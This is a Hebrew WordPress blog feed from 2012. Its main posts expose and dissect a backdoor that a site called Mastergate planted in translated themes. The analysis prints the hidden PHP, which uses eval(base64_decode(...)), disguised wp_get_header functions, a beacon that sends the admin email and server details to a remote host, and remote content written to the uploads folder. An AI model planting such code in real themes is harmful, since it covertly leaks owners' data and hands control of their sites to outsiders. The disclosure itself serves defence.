Deprecated: Creation of dynamic property CF\WordPress\DataStore::$logger is deprecated in /home/nitzan_n2b/n2b.org/wordpress/wp-content/plugins/cloudflare/src/WordPress/DataStore.php on line 23

Deprecated: Creation of dynamic property CF\WordPress\Proxy::$pluginAPI is deprecated in /home/nitzan_n2b/n2b.org/wordpress/wp-content/plugins/cloudflare/src/WordPress/Proxy.php on line 31

Deprecated: Creation of dynamic property SyntaxHighlighter::$brush_names is deprecated in /home/nitzan_n2b/n2b.org/wordpress/wp-content/plugins/syntaxhighlighter/syntaxhighlighter.php on line 248

Deprecated: Creation of dynamic property SyntaxHighlighter::$specialchars is deprecated in /home/nitzan_n2b/n2b.org/wordpress/wp-content/plugins/syntaxhighlighter/syntaxhighlighter.php on line 326

Warning: Cannot modify header information - headers already sent by (output started at /home/nitzan_n2b/n2b.org/wordpress/wp-content/plugins/cloudflare/src/WordPress/DataStore.php:23) in /home/nitzan_n2b/n2b.org/wordpress/wp-includes/feed-rss2.php on line 8
המכללה https://n2b.org/ כי החיים זה לא מדע מדוייק Wed, 25 May 2022 11:16:00 +0000 he-IL hourly 1 https://wordpress.org/?v=6.3.3 25004112 וורדפרס 3.4 עם טוויטר https://n2b.org/archives/2346 https://n2b.org/archives/2346#comments Thu, 14 Jun 2012 05:48:59 +0000 http://n2b.org/?p=2346 הבוקר חיכתה לי הודעה שיש שידרוג לגירסה 3.4 באנגלית, החלטתי לנסות את השידרוג למרות שהגירסה העברית לא שוחררה

הפוסט וורדפרס 3.4 עם טוויטר פורסם על ידי ~ניצן~ בבלוג המכללה

]]>

הבוקר חיכתה לי הודעה שיש שידרוג לגירסה 3.4 באנגלית, החלטתי לנסות את השידרוג למרות שהגירסה העברית לא שוחררה, עד עכשיו, עושה רושם שזה עובד מצויין. אחד הדברים הכי מדליקים – שילוב של טוויטר אל תוך המערכת כך שמספיק להדביק לינק של ציוץ בתוך התוכן של הפוסט והמערכת תעשה את השאר.

ככה זה נראה

עכשיו רק נותר לחבר את הפיד RSS של טוויטר אל תוך הזנות RSS בוורדפרס והנה לכם בלוג שיארכב את כל הציוצים שלכם.

לדרג את הפוסט
3.5

הפוסט וורדפרס 3.4 עם טוויטר פורסם על ידי ~ניצן~ בבלוג המכללה

]]>
https://n2b.org/archives/2346/feed 2 2346
ניתוח הקוד של מאסטרגייט https://n2b.org/archives/2330 https://n2b.org/archives/2330#comments Wed, 25 Jan 2012 05:39:23 +0000 http://n2b.org/?p=2330 בעקבות הפוסט של ניצן, בו נחשפה אמש פרשת מאסטרגייט, אני רוצה להזמין אתכם לצלול ביחד איתי אל-תוך מעמקי הקוד, להסיר את עננת ה-base64 ולהבין מה בדיוק קורה שם. כפי שאמרתי בכתבה בטמקא מחשבים – במידה ומתרגם התבנית החליט להכניס את שמו בתחתית העמוד ולתת קישור לבלוג שלו, זאת זכותו, מגיע לו ובסופו של דבר זאת […]

הפוסט ניתוח הקוד של מאסטרגייט פורסם על ידי BoRIS בבלוג המכללה

]]>
בעקבות הפוסט של ניצן, בו נחשפה אמש פרשת מאסטרגייט, אני רוצה להזמין אתכם לצלול ביחד איתי אל-תוך מעמקי הקוד, להסיר את עננת ה-base64 ולהבין מה בדיוק קורה שם. כפי שאמרתי בכתבה בטמקא מחשבים – במידה ומתרגם התבנית החליט להכניס את שמו בתחתית העמוד ולתת קישור לבלוג שלו, זאת זכותו, מגיע לו ובסופו של דבר זאת הבחירה של המשתמש האם להתקין את התבנית הזו או לא. מה שמדאיג אותי זה לא הקרדיט למתרגם וגם הקישורים הפרסומיים שהוא בחר להוסיף לא מדירים שינה מעיני. הבעיה היא בשני הגורמים הבאים:

ראשית, קוד מוצפן שרץ על השרת שלי זה דבר לא מקובל בעיני, ואף שבהחלט ייתכן שלא מדובר בקוד זדוני אלא ברצונו של מתרגם התבנית למנוע אפשרות של הסרת הקרדיט המגיע לו, ייתכן והקוד שלו מכיל באג כזה או אחר שניתן לנצל על-מנת לגרום נזק. קוד מוצפן שכזה יקשה עליי, לאתר את התקלה ויפגע בי ובמשתמשים שלי שבפניהם אני אחראי על האתרים שלהם.

שנית, קוד שמדבר עם שרת מרוחק, שולח לו מידע ומקבל ממנו מידע, וכל זה מבלי ליידע אותי, נקרא קוד זדוני, גם אם כל מה שהוא עושה זה לשחק "מרקו-פולו" עם אותו שרת מרוחק. אבל היות והקוד מוצפן, אני לא יודע מה הוא עושה, ופוטנציאלית הוא יכול לעשות משהו שאני לא מעוניין בו. יתרה מזאת, גם האתר שאיתו הקוד מתקשר לא חסין מפריצה ולכן אין ערובה לכך שהפעולה התמימה, לכאורה, שהוא מבצע תישאר כזאת לאורך זמן.

אז בואו נתחיל.

נעשה שימוש בפונקציות wp_get_header ו-wp_get_footer שנראות כאילו שהן פונקציות מובנות של וורדפרס. הבעיה היא שהן לא. למעשה הן מכילות בדיקות שהפונקציות של הקוד הזדוני נמצאות במערכת:

function wp_get_header() {
	if(	function_exists('wp_get_footer') &&
		function_exists('wp_cache_verify') &&
		function_exists('wp_cache')) {
			get_header();
	}
}
function wp_get_footer() {
	get_footer();
	wp_cache_verify(wp_cache());
}

לאחר מכן, מתבצעת בדיקה של הימצאות הקוד הזדוני בתוך הקבצים שבהם הוא נשתל:

$t['template'] = pathinfo(get_bloginfo('template_directory'));
$credit_violation = '';
$footer = TEMPLATEPATH.'/footer.php';
$handle = @fopen($footer, 'r');
$footer = @fread($handle, @filesize($footer));
fclose($handle);
$funcs = TEMPLATEPATH.'/functions.php';
$handle = @fopen($funcs, 'r');
$funcs = @fread($handle, @filesize($funcs));
fclose($handle);

השלב הבא הוא שלב מאוד יפה. מתבצעת בדיקה, שמטרתה לגלות שכל החלקים של הקוד הזדוני במקום ולא עברו שינויים שנראו חשובים למי שכתב אותו. לכל שינוי או תוצאה ניתן מספר שלפיו ניתן יהיה לגלות איזה חלק בקוד שונה או הוסר:

if($footer && $funcs) {
	if(substr_count($footer, 'mastergate.co.il') < '2') {
		$credit_violation = '1';
	}
	if(substr_count('$footer', 'eval') != '1') {
		$credit_violation = '2';
	}
	if(substr_count('$footer', 'base64_decode') != '1') {
		$credit_violation = '3';
	}
	if(substr_count('$footer', '$cache') != '1') {
		$credit_violation = '4';
	}
	if(substr_count('$funcs', 'eval') < '1') {
		$credit_violation = '5';
	}
	if(substr_count('$funcs', 'base64_decode') < '1') {
		$credit_violation = '6';
	}
	if(substr_count('$funcs', 'ICAgICAgICBldmFsKGJhc2U2NF9kZWNvZGUoIloyeHZZbUZzSUNSZlUwVlNWa1ZTTENBa1gwZEZW') < '1') {
		$credit_violation = '7';
	}
	if(substr_count('$funcs', 'R1ExWVRnNE5USmNJaWtnZXdvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnYVdZb0pHTmhZMmhsY2w5MGFX') < '1') {
		$credit_violation = '8';
	}
	if(substr_count('$funcs', 'ICAgICAgICBldmFsKHN0cmlwc2xhc2hlcyhiYXNlNjRfZGVjb2RlKCJJQ0FnSUNBZ0lDQWtkRnNu') < '1') {
		$credit_violation = '9';
	}
	if(substr_count('$funcs', 'ICAgICAgICBnZXRfZm9vdGVyKCk7CiAgICAgICAgd3BfY2FjaGVfdmVyaWZ5KFwiZDNCZlkyRmphR1VvS1RzPVwiKTs=') < '1') {
		$credit_violation = '10';
	}
	if(!function_exists('wp_cache_http')) {
		$credit_violation = '11';
	}
	if(!WP_CACHE_VERSION) {
		$credit_violation = '12';
	}
} else {
	$credit_violation = '0';
}

בשלב הבא, הקוד אוסף מידע ומכניס אותו למערך. ברשותכם, אני רוצה לעבור על החלק הזה שורה אחרי שורה:

$wp_counts = wp_count_posts('post'); 

שורה זו שומרת במשתנה את מספר הפוסטים שנכתבו בבלוג. לא רק כאלה שפורסמו, אלא כל הפוסטים.

$t['qs'] = '?x='.time();

שורה זו שומרת את ערך הזמן של השרת, ולמעשה אומרת לנו, אם אחראי השרת קינפג אותו כמו שצריך, מה התאריך והשעה המדוייקים.

$t['qs'] .= 'version_wp='.get_bloginfo('version');

שורה זו שומרת את הגרסה של וורדפרס. ככל שהגרסה של הוורדפרס שלכם ישנה יותר, ככה יש יותר סיכוי שיפרצו אליכם לבלוג.

$t['qs'] .= 'version_php='.phpversion();

שורה זו שומרת את הגרסה של PHP. מידע זה יכול לתת לנו מושג כללי מה אני יכול ומה אני לא יכול לעשות בשרת, וכן לספק "מודיעין" על רמת ההגנה של השרת. פרט מידע זה אינו תמיד זמין לגולש המזדמן.

$t['qs'] .= 'wp_template='.$t[template][filename]; 

שורה זו שומרת את השם של התיקיה שבה שמורה ערכת העיצוב הנוכחית. ככה, אם הקוד הזדוני נמצא ביותר מערכת עיצוב אחת, ניתן לדעת באיזה ערכה בדיוק.

$t['qs'] .= 'wp_posts='.$wp_counts('publish');

שורה זו לוקחת את המשתנה שמכיל את מספרם של כל הפוסטים שיש לנו בבלוג, ושומרת מתוכם רק את מספר הפוסטים שפורסמו. זהו מדד טוב לכמה שהבלוג מתעדכן בתדירות כזאת או אחרת. בנוסף, קיימת, לכאורה, הפרה של זכויות יוצרים, מספר זה נותן מידע על מספר העמודים שבהם מתרחשת הפרה זו.

$t['qs'] .= 'admin_email='.get_bloginfo('admin_email');

שורה זאת שומרת את כתובת האימייל של המשתמש שמוגדר כמנהל בבלוג. מדובר בפרט מידע שלא ניתן לדלות אותו מביקור פשוט בבלוג. פוטנציאלית, אם הקוד הזדוני הזה רץ על גבי אלף בלוגים, אז למפעיל הקוד ישנן אלף כתובות דואר אלקטרוני הידועות כפעילות ונמצאות בשימוש במידה כזאת או אחרת. כאן זה גם המקום להזכיר, שכפי שלא מומלץ לעבור תמיד ממשתמש ה-root, כך גם בוורדפרס, מומלץ ליצור משתמש נוסף שאינו מנהל ולעבוד ממנו בכל עת שאתם לא זקוקים להרשאות המלאות שגישת המנהל מאפשרת.

$t['qs'] .= 'violation='.$credit_violation;

זוכרים את מספר ההפרה שדיברנו עליו מקודם? גם מספר זה נשמר.

$t['qs'] .= 'request_uri='.$_SERVER['REQUEST_URI'];

כאן הקוד פונה לשרת ומבקש ממנו את הכתובת היחסית ביחס לתיקיה ה-/ שזמינה לגישה דרך האינטרנט.

$t['qs'] .= 'domain='.$_SERVER['SERVER_NAME'];

וכאן הקוד מבקש את שם השרת או יותר נכון את הכתובת שלו. הפקודה הזאת והפקודה הקודמת משיגים לנו ביחד את הכתובת הישירה של הדף.

לאחר שכל המידע הזה נאסף, כל המידע במערך $t מקודד, ומוכנס למחרוזת שמכילה כתובת של שרת, תיקיה על השרת, וסיומת .html. במילים אחרות, הקוד מייצר כתובת של דף html שיושב על שרת מרוחק, כאשר הכתובת מורכבת מכל הפרטים שנאספו מהבלוג שלו.

לפני שנמשיך, קצת מידע שיסייע להבין מה זה ולמה זה טוב. אם ננסה להכנס לרגע לראשו של כותב קוד זדוני, המטרה היא להצליח לבצע את הפעולה. במקרה הזה, נראה שקיימת תקשורת, ובשלב הזה של ניתוח הקוד, חד כיוונית, לכאורה, עם שרת מרוחק. מובן מאליו שהקובץ שהקוד מייצר מתוך פרטי המידע של הבלוג שלנו לא באמת קיים. אבל בגלל האופן שבו שרתי אינטרנט מדברים זה עם זה, אנחנו יכולים לצפות למצב שנפנה לשרת כדי לדרוש את הקובץ הזה, למשל באמצעות פקודת GET. השרת יחזיר לנו תגובה כזאת או אחרת. ניתן לשנות את התגובות הללו ולהתאים אותן למה שאנחנו מצפים להשיג באמצעותן. ניתן גם להגדיר את השרת המרוחק שישמור את כל הפניות הללו (כפי שאנחנו יכולים לצפות במידע סטטיסטי על הגולשים שנכנסו לאתר שלנו), ומכיוון שהן כולן באות במבנה מוגדר, ניתן לשלוף מתוך, ובמקרה שלפנינו, באמצעות base64_decode, את המידע הזה. זוכרים את הסיפור על יצרניות תוכנה לסלולר ששמרו מידע על מיקום המכשירים והעבירו אותו לשרתי היצרניות? אז משהו כזה.

טוב, ממשיכים. בשלב הזה, הקוד בודק האם התקבל ערך של הפרת זכויות יוצרים (אם הפונקציה שמקצה את הערכים הללו סיימה לרוץ מקודם, תמיד יהיה איזשהו ערך, בפרט, במידה ואין הפרה, מבחינת האופן שזה מוגדר בקוד, יוחזר 0). מתבצעת פנייה לפונקציה שעושה את שדיברנו עליו למעלה. עוד נחזור אליה. לאחר מכן מתבצעת בדיקה של הימצאות כל חלק הקוד הזדוני, ובמידה וקיים הבדל בין מה שצריך להיות לבין מה שנמצא בפועל, מוצג באנר אדום בתחתית המסך שמכריז כי "אתר זה הפר את זכויות היוצרים בתבנית":

if($credit_violation != '') {
	if(function_exists('wp_cache_http'))
		wp_cache_http('$t[action]');
		$cache = $output_cache;
		if($cache) {
			if($cache = @base64_decode($cache)) {
				$cache = @unserialize($cache);
				echo '$cache[html_reply]';
			}
		} else {
		echo '<div ><strong>תבנית זאת הוסבה לעברית ע'י מאסטרגייט. אתר זה הפר את זכויות היוצרים בתבנית. חזרה לוורדפרס בעברית</strong></div>';
		echo '<!-- violation: $credit_violation -->';
	}
}

לא ברור מה המימד המשפטי של טענה זו, בפרט אם התבנית מופצת במקור (לפני התרגום) תחת רשיון GPL, אבל זהו לא פוסט משפטי וגם הכותב אינו משפטן.

אחד הדברים שהרשימו אותי בקוד הזה, הוא שכל שלב בודק ומוודא שהשלבים הדרושים להצלחתו התקיימו אף הם בהצלחה. אין לי דרך לקבוע זאת בשום מידה של וודאות, אבל אפשר שכתיבת הקוד שמגן על התבנית מפני הסרת הקרדיט, לקח זמן רב בכמה סדרי גודל מאשר הזמן שנדרש על-מנת להתאים את התבנית לעברית.

במידה ויצירת הכתובת לשרת המרוחק הצליחה, הקוד שולח בקשת GET לאותו שרת מרוחק, ושומר את התגובה שהוא מקבל. בעצם מתבצעת השוואה בין הקוד שנשלח לקוד שהתקבל. ייתכן וזאת עוד דרך לבדוק האם לא חסמתי את הקוד מפני תקשורת בלתי מוגבלת לשרת המרוחק שלו.

if(!$cache) {
	$pos = strpos($url, '/', 7);
	$parsed_url['uri'] = substr($url, $pos);
	$parsed_url['host'] = str_replace('http://', '', substr($url, 0, $pos));
	$fp = @fsockopen('$parsed_url[host]', 80, $errno, $errstr, 1);
	if (!$fp) {
		$error = '1';
	} else {
		$cache = '';
		$request = 'GET $parsed_url[uri] HTTP/1.1\r\n';
		$request .= 'Host: $parsed_url[host]\r\n';
		$request .= 'Referer: $_SERVER[SERVER_NAME]\r\n';
		$request .= 'Connection: Close\r\n\r\n';
		fwrite($fp, $request);
		while (!feof($fp)) {
			$cache .= fgets($fp, 9216);
		}
		fclose($fp);
		if(substr_count($cache, '\n\r') gt;= 1) {
			$cache = explode('\n\r', '$cache');
			$cache = str_replace(array('\r','\n'), '', '$cache[1]');
		}
	}
}

$output_cache = $cache; 

ואז מגיע השלב שבו העניינים באמת מתחילים להיות מעניינים.

$t['dir_upload'] = wp_upload_dir();

הקוד שומר במשתנה את התיקיה שמשמשת להעלאת קבצים מערכת העיצוב. משמעות הדבר היא שפקודות שמופעלות מתוך ערכת העיצוב יכולות לכתוב לתוך תיקיה שנמצאת על השרת שלי. אבל הקוד שאנחנו מנתחים הוא חלק מהקוד של ערכת העיצוב, ולמה שהוא יזדקק לגישה לתיקיה שאפשר לכתוב אליה? האם הוא רוצה לכתוב קבצים לתיקיה כלשהי על השרת שלי?

בשלב הזה הקוד שוב מבצע קריאה לשרת המרוחק, ושומר את התגובה. לאחר מכן, הוא מייצר קובץ עם סיומת jpg, מכניס אליו את המידע שהוא משך מן השרת המרוחק, קורא לו בשם שנגזר מפרטי השרת שלי, ושומר אותו בתיקיית ההעלאות. לאחר שסיים לעשות זאת, הוא מושך את התוכן השמור בקובץ לתוך משתנה:

$cacher_filename = substr(md5('$_SERVER[SERVER_NAME]'), 0, 10).'.jpg';
$cacher_path = $t['dir_upload']['path'].'/$cacher_filename';
$cacher_time = @filemtime($cacher_path);
$cacher_life = '3600';
if (!$cacher_time || ((time()-$cacher_time) gt;= $cacher_life)){
	wp_cache_http('$t[action]');
	$cache = $output_cache;
	if($cache) {
		$handle = @fopen($cacher_path,'x+');
		@fwrite($handle,$cache);
		@fclose($handle);
	}
} else {
	$cache = @file_get_contents($cacher_path);
}

היות ומדובר בקוד שאמור לרוץ בכל טעינה של footer.php, ישנה הגדרה שמטרתה למנוע מהקוד לרוץ בכל פעם, אלא רק במרווחי זמן קבועים (זה התנאי שבקטע הקוד למעלה).

נעשה סיכום קצר. עד עכשיו הקוד הזה, הספיק לבחון את תקינותו, לדבר עם שרת מרוחק ולדווח לו על פרטי השרת שלי (וגם אם לא, זה בהחלט אפשרי, כפי שכבר תיארתי למעלה), להוריד מידע מהשרת המרוחק, ולשמור מידע זה במשתנה. השלב הבא, הוא כצפוי, לעשות שימוש במידע השמור במשתנה:

if($cache) {
	if($cache = @base64_decode($cache)) {
		$cache = @unserialize($cache);
		if(strlen($cache[custom_credit]) >= 5) {
			$t['default_string'] = '$cache[custom_credit]';
		}
		if($cache['status'] == '0') {
			$cache_error = '1';
			$cache_lock = '1';
		} else {
			$total_links = sizeof($cache['links']);
			$links = '$t[default_string]';
			if($total_links > 0) {
				$i = '0';
				foreach($cache['links'] as $k => $v) {
					$i++;
					if($v->l_path == '' || $v->l_path == $_SERVER['REQUEST_URI']) {
						$v->l_href = htmlspecialchars(strip_tags($v->l_href));
						$v->l_title = htmlspecialchars(strip_tags($v->l_title));
						$v->l_anchor = htmlspecialchars(strip_tags($v->l_anchor));
						$links .= ' | ';
						$links .= '<a class='mglnk_l$v->lid' href='$v->l_href' title='$v->l_title'';
						if($v->l_nofollow == '1')
							$links .= ' rel='nofollow'';
						$links .= '>$v->l_anchor</a>';
					}
		}
	}
	$t['links'] = '$links';
	if($cache[credit] == '0') {
		$t['links'] = '';
	}
	}
	} else {
		$cache_error = '1';
	}
	} else {
		$cache_error = '1';
	}

המידע, ובמקרה הזה אוסף של לינקים, והמזהים שלהם, הופך לקוד HTML ונשמר במחרוזת. מחרוזת זו מחליפה את המחרוזת שהייתה שם קודם ומחזיקה את הפרטים של מתרגם התבנית והלינקים שהגיעו עם התבנית. או משאירה את המצב כפי שהיה, במידה והפעולה שלה נכשלת:

if($cache_error == "1") {
	$t['links'] = "$t[default_string]";
}
if($cache_lock == "1") {
	if($cache['lock_html'] != "") {
		$t['links'] = "$cache[lock_html]";
	} else {
		$t['links'] = '<div style=""><strong>תבנית זאת הוסבה לעברית ע"י <a href="" style="color: white;">מאסטרגייט</a>. <a href="" style="color: white;">אתר זה הפר את זכויות היוצרים בתבנית. חזרה ל</a></strong></div>';
		$t['links'] = '<div style=""><strong&>תבנית זאת הוסבה לעברית ע"י <a href="" style="color: white;"&>מאסטרגייט&<
	}
}

סיכום

אז מה היה לנו כאן? הצפנת הקוד?-צ'ק! התחזות לפונקציות מערכת על-מנת להקטין חשש?-צ'ק! איסוף מידע על הבלוג ועל השרת?-צ'ק! שליחת מידע (או לכל הפחות אפשרות לעשות זאת) לשרת מרוחק?-צ'ק! יצירת קבצים חדשים שמבוססים על המידע שהתקבל מהשרת המרוחק בתגובה?-צ'ק! פענוח המידע שנשמר בקבצים שהתקבלו משרת מרוחק?-צ'ק! הדפסה של מידע זה בבלוג?-צ'ק!

לדרג את הפוסט
5

הפוסט ניתוח הקוד של מאסטרגייט פורסם על ידי BoRIS בבלוג המכללה

]]>
https://n2b.org/archives/2330/feed 20 2330
זהירות ממאסטרגייט וטימלנד https://n2b.org/archives/2316 https://n2b.org/archives/2316#comments Tue, 24 Jan 2012 09:17:42 +0000 http://n2b.org/?p=2316 אחד החסרונות בלהיות דוברי עברית היא שכל התאמה של ערכת עיצוב מצריכה הרבה יותר עבודה עבור כתיבה מימין לשמאל. למרבה המזל יש בישראל לא מעט מפתחים שהחליטו להצטרף למאמץ ולתרגם את הערכות לטובת הקהילה. מצד שני, מסתבר שיש מספר מפתחים שהחליטו לתרגם ערכות על מנת לנצל אותן לטובתם האישית. אחד מהם הוא אתר מאסטרגייט אשר […]

הפוסט זהירות ממאסטרגייט וטימלנד פורסם על ידי ~ניצן~ בבלוג המכללה

]]>
אחד החסרונות בלהיות דוברי עברית היא שכל התאמה של ערכת עיצוב מצריכה הרבה יותר עבודה עבור כתיבה מימין לשמאל. למרבה המזל יש בישראל לא מעט מפתחים שהחליטו להצטרף למאמץ ולתרגם את הערכות לטובת הקהילה. מצד שני, מסתבר שיש מספר מפתחים שהחליטו לתרגם ערכות על מנת לנצל אותן לטובתם האישית. אחד מהם הוא אתר מאסטרגייט אשר הזריק לכל הערכות בכל האתרים שלו קוד זדוני ומסוכן המאפשר לו להשתלט על הבלוג שלכם ולהכניס לשם תוכן משל עצמו.

חשוב להבין – מדובר בקוד מסוכן שמקבל גישה אל השרת שלכם ויכול (ואף עושה בפועל) לעשות בו כרצונו. היות והערכות יכולות להכיל פונקציות מלאות הוא אפילו יכול בעיקרון לקבל גישה מלאה אל הבלוג שלכם.

לכן, ולפני הכל – אם הבלוג שלכם מריץ ערכת עיצוב שהגיע מאחד האתרים הבאים – הסירו אותה עכשיו במידי ואז חיזרו לקרוא.

mastergate.co.il
themeland.co.il
themes.org.il
wpstore.co.il (הערה, פה נמכרות תבניות בתשלום ולכן לא בדקתי את הקוד בפועל, אם קניתם דרך האתר ערכת עיצוב, אנא צרו איתי קשר על מנת שאוכל לבדוק)

הכל התחיל כשמיטל מבלוג הלקים גילתה שבפוטר של הערכה שלה, שהורדה מהאתר של מאסטרגייט, הופיעו לינקים שהיא לא שמה ולא רצתה בהם. ניסיון להסיר את הלינקים הללו הקפיץ הודעה שהאתר מפר זכויות יוצרים. זו, הייתה יריית הפתיחה – שכן מדובר בערכה המופצת תחת קוד GPL ולא רק שמותר לשנות בה את הקוד כאוות נפשנו, אלא שוודאי וודאי שאין למאסטרגייט שום זכויות יוצרים על הערכה.

התקנתי את הערכה על שרת מקומי והתחלתי לחפש את ההתערבויות, היות ומדובר בערכה די נרחבת קיים סיכוי סביר שלא מצאתי את הכל, אבל פה יש תיעוד של מה שמצאתי.

ההתחלה הייתה בקוד ה footer שם נמצא קוד ה PHP הבא:

eval(base64_decode("d3BfY2FjaGUoKTs="));

כאשר פתחנו את הקידוד נמצאה בתוכו הפונקציה
wp_cache();
לא ראינו שום סיבה להעלים את פונקציית ה cache אך ברגע שזו הוסרה הופיעה לפתע הודעה המכריזה כי האתר מפר זכויות יוצרים.

המקום הבא לחפש בו היה קובץ ה functions.php, זהו קובץ שנטען ביחד עם הערכה ומיועד לפונקציות יעודיות של המפתח. ואכן, בתוך הקובץ הלז, נמצאה שורה דומה:

eval(stripslashes(base64_decode(קוד זדוני ארוך פה));

לא סתם ציינתי כי מדובר בקוד זדוני, בוריס טרח לפרק את הקוד ולנתח אותו ויעלה פוסט בהקדם, נגיד רק שמדובר בקוד שמבצע גישה אל הדאטה בייס ואל הקבצים של הערכה, הוא ניגש אל השרת של מאסטרגייט ומוריד ממנו עידכונים אשר משוכתבים אל תוך הערכה עצמה. בפועל זה משמש להתקנת לינקים פירסומיים, בפועל, ניתן להשתמש בזה כדי להכניס כל קוד זדוני אחר.

לאחר שהשוותי את קבצי הפונקציה אל קבצי הערכה המקורית ראיתי שמדובר בתוספת שלא הוכנסה במקור על ידי המפתח המקורי. הסרתי את הפונקציה וטענתי את הבלוג מחדש – הפעם, כלום לא עבד.

יש שתי דרכים לפתור את הבעיה הזו, האחת ארוכה ויסודית ושולחת את המפתח לפתוח את הדחיסה ולקרוא את תכולת הקובץ. השניה, קלה יותר ומהירה יותר – להציץ בדוח השגיאות של שרת ה apache.
על אובונטו עושים את זה על ידי שימוש ב:

tail -f /var/log/apacge/error.log

הפונקציה tail “מציצה" למעשה אל סוף הקובץ הנקוב והפרמטר f אומר לפונקציה לעקוב אחרי שינויים בקובץ ולהדפיס אותם אל המסך. התוצאה אגב היא – בכל פעם שיש הודעת שגיאה היא תודפס בטרמינל.

לאחר הקלדת הפקודה וריענון העמוד קיבלתי את הודעת השגיאה הבאה:

Fatal error: Call to undefined function wp_get_header() in /home/nitzan/www/wordpress/wp-content/themes/des/index.php on line 1

אכן, הקובץ index.php הכיל קריאה לפונקציה wp_get_header רק שזו אינה פונקציה של וורדפרס. הפונקציה של וורדפרס היא get_header – החלפתי את הפונקציה ב get_header והמשכתי הלאה.

הודעת השגיאה הבאה שהתקבלה היא:
Fatal error: Call to undefined function wp_loaded() in /home/nitzan/www/wordpress/wp-content/themes/des/header.php on line 1

הפונקציה הזו אינה מוכרת לי אבל אכן בקובץ ה header.php נמצאה בדיקה בנוסח הבא:

<?php if (wp_loaded() === true) { ?>

הודעת השגיאה הבאה הייתה

Parse error: syntax error, unexpected '}' in /home/nitzan/www/wordpress/wp-content/themes/des/header.php on line 72

ואלו היו הסוגריים המסולסלים שסוגרים את הבדיקה של הפונקציה הקודמת.

לאחר ההסרה, חזר הבלוג לעבוד אבל ה footer לא הופיע יותר. בדיקה בקובץ index.php הראתה קריאה אל

wp_get_footer();

שבדיוק כמו במקרה הראשון – זו אינה הפונקציה המקורית אלא הסוואה שלה שכן הפונקציה המקורית היא

get_footer();

לאחר שינוי הפונקציה חזרה הערכה לעבוד בשלמותה בעמוד הראשי אבל דפים פנימיים חזרו להקפיץ הודעות שגיאה.
לצורך כך, על מנת להימנע מבדיקה של כל הערכה, הוספתי אל קובץ functions.php את הפונקציות הבאות:

function wp_get_header(){get_header();}
function wp_get_footer(){get_footer();}
function wp_loaded(){return true;}

ובכך הסתכם הטיפול בערכה. והיא חזרה לעבוד מבלי הקוד הזדוני שהושתל על ידי מאסטרגייט.

מדגימה של מספר ערכות באתר של מאסטרגייט ובאתר themes.org.il עלה כי בכולן הושתל קוד זדוני שכזה או דומה. ראוי לציין כי גם האתר wpstore.co.il הוא בבעלותו של מאסטרגייט, ואני מניח כי את אותם הקודים ניתן למצוא גם שם.

לסיכום

הזכויות לתרגום ערכה נגזרות מהיותה GPL ולכן מחייבות הפצה כ GPL, אם הוכנס "כל הזכויות שמורות" זה כבר דגל שאמור להחשיד. ככלל, ערכות עדיף ורצוי תמיד להוריד ממקורות בטוחים. רצוי תמיד לחפש את שם הערכה בגוגל, ברוב המקרים זה יוביל אתכם אל המקור. רצוי להוסיף שמאסטרגייט לא המציא את הגלגל, ראיתי קודים כאלה גם קודם באתרים אחרים ולפחות ערכה אחת שמצויה באתרו היא ערכה שבמקור הכילה קוד הגנה על זכויות יוצרים של המפתח – שהוסר והוחלף על ידי הקוד של מאסטרגייט.

הנוהג של השתלת לינקים על זכויות העברות הוא לא גם יחודי למאסטרגיט, ראיתי את זה במספר אתרים אחרים, מה שבטוח, כולם טוענים שהסרה של הקודים הן הפרה של זכויות היוצרים, רצוי לזכור שהתרגום נעשה מתוקף היות הערכה GPL ולכן, כחלק מהחוקים של GPL אין שום מניעה ואיסור וזו אף זכותכם המלאה להסיר את התוספות הללו מהקוד.

קריאה לפעולה
אם קניתם ערכה אצל אחת מחנויות הערכות הישראליות – אנא צרו איתי קשר למייל nitzanb (at) gmail.com – אני רוצה לבדוק עד כמה הנוהג הזה נפוץ ולעדכן.

עידכון – 16:10 – למרות שלמיטב ידיעתי האתר מסטרגייט שייך ליחיאל סימן טוב, הרי שעל פי רישום ה DNS הוא שייך כרגע לאדם אחר בשם ערן מיטל. אי לכך אין ביכולתי לדעת בוודאות באיזה תאריך בוצעה החלפת הבעלות ולכן אין ביכולתי לדעת האם הקוד הוא תורשה של יחיאל או תוספת של ערן.

זהירות ערכות בחינם מסוכנות – מאסטרגייט טימלנד

לדרג את הפוסט
0

הפוסט זהירות ממאסטרגייט וטימלנד פורסם על ידי ~ניצן~ בבלוג המכללה

]]>
https://n2b.org/archives/2316/feed 62 2316
במלתעות לאומי https://n2b.org/archives/2310 https://n2b.org/archives/2310#comments Sun, 15 Jan 2012 08:16:41 +0000 http://n2b.org/?p=2310 שתי שורות מוזרות תפסו את תשומת לבי בעת בדיקת מצב חשבון הבנק שלי, האחת על סך 90 שקלים והשניה על סך 40. ליד כל אחד מהסכומים, תחת הגוף הסולק הופיע השם לאומי כארד ותו לא. יש שלושה כרטיסי אשראי שמחוברים אל החשבון הזה, שלושתם נסלקים ב 15 לחודש והימים בהם הסכום בהם היה דו ספרתי […]

הפוסט במלתעות לאומי פורסם על ידי ~ניצן~ בבלוג המכללה

]]>
שתי שורות מוזרות תפסו את תשומת לבי בעת בדיקת מצב חשבון הבנק שלי, האחת על סך 90 שקלים והשניה על סך 40. ליד כל אחד מהסכומים, תחת הגוף הסולק הופיע השם לאומי כארד ותו לא. יש שלושה כרטיסי אשראי שמחוברים אל החשבון הזה, שלושתם נסלקים ב 15 לחודש והימים בהם הסכום בהם היה דו ספרתי עבר מזמן. לרגע חשבתי שאולי מדובר באיזה תשלום דמי שימוש מוגזם לרגל השנה החדשה ולכן – הטלפון הראשון היה אל שירות לאומי-קול – אולי שם יהיה נציג שיוכל לשפוך אור נוסף על הפרשה.

לבנק לאומי, יש מדיניות די נוקשה בכל הנוגע לסיסמאות – נוקשה, אך מטומטמת למדי. הבנק מאלץ את משתמשיו להחליף סיסמאות בכל רבעון (שזה מצויין) אבל מגדיר רשימת כללים מטופשת למדי שהופכת, בסופו של יום, את הסיסמאות למספרים עלובים. כך למשל, אם תנסו להגדיר באתר האינטרנט של לאומי את הסיסמא A!a234u0d הסיסמא תידחה בנימוס כי היא מכילה 3 ספרות עוקבות. לעומתה 1q2w3e תתקבל בשמחה. השירות הטלפוני מעצבן עוד יותר כי הוא מגביל את אורך הסיסמא ל 6 תווים, בנוסף לעוד סט כללים מטופש. וכך, יום אחד המליץ לי הבנקאי בשירות להרכיב את הסיסמא המוצלחת 292929 (כי גרתי בבית שמספרו 29).
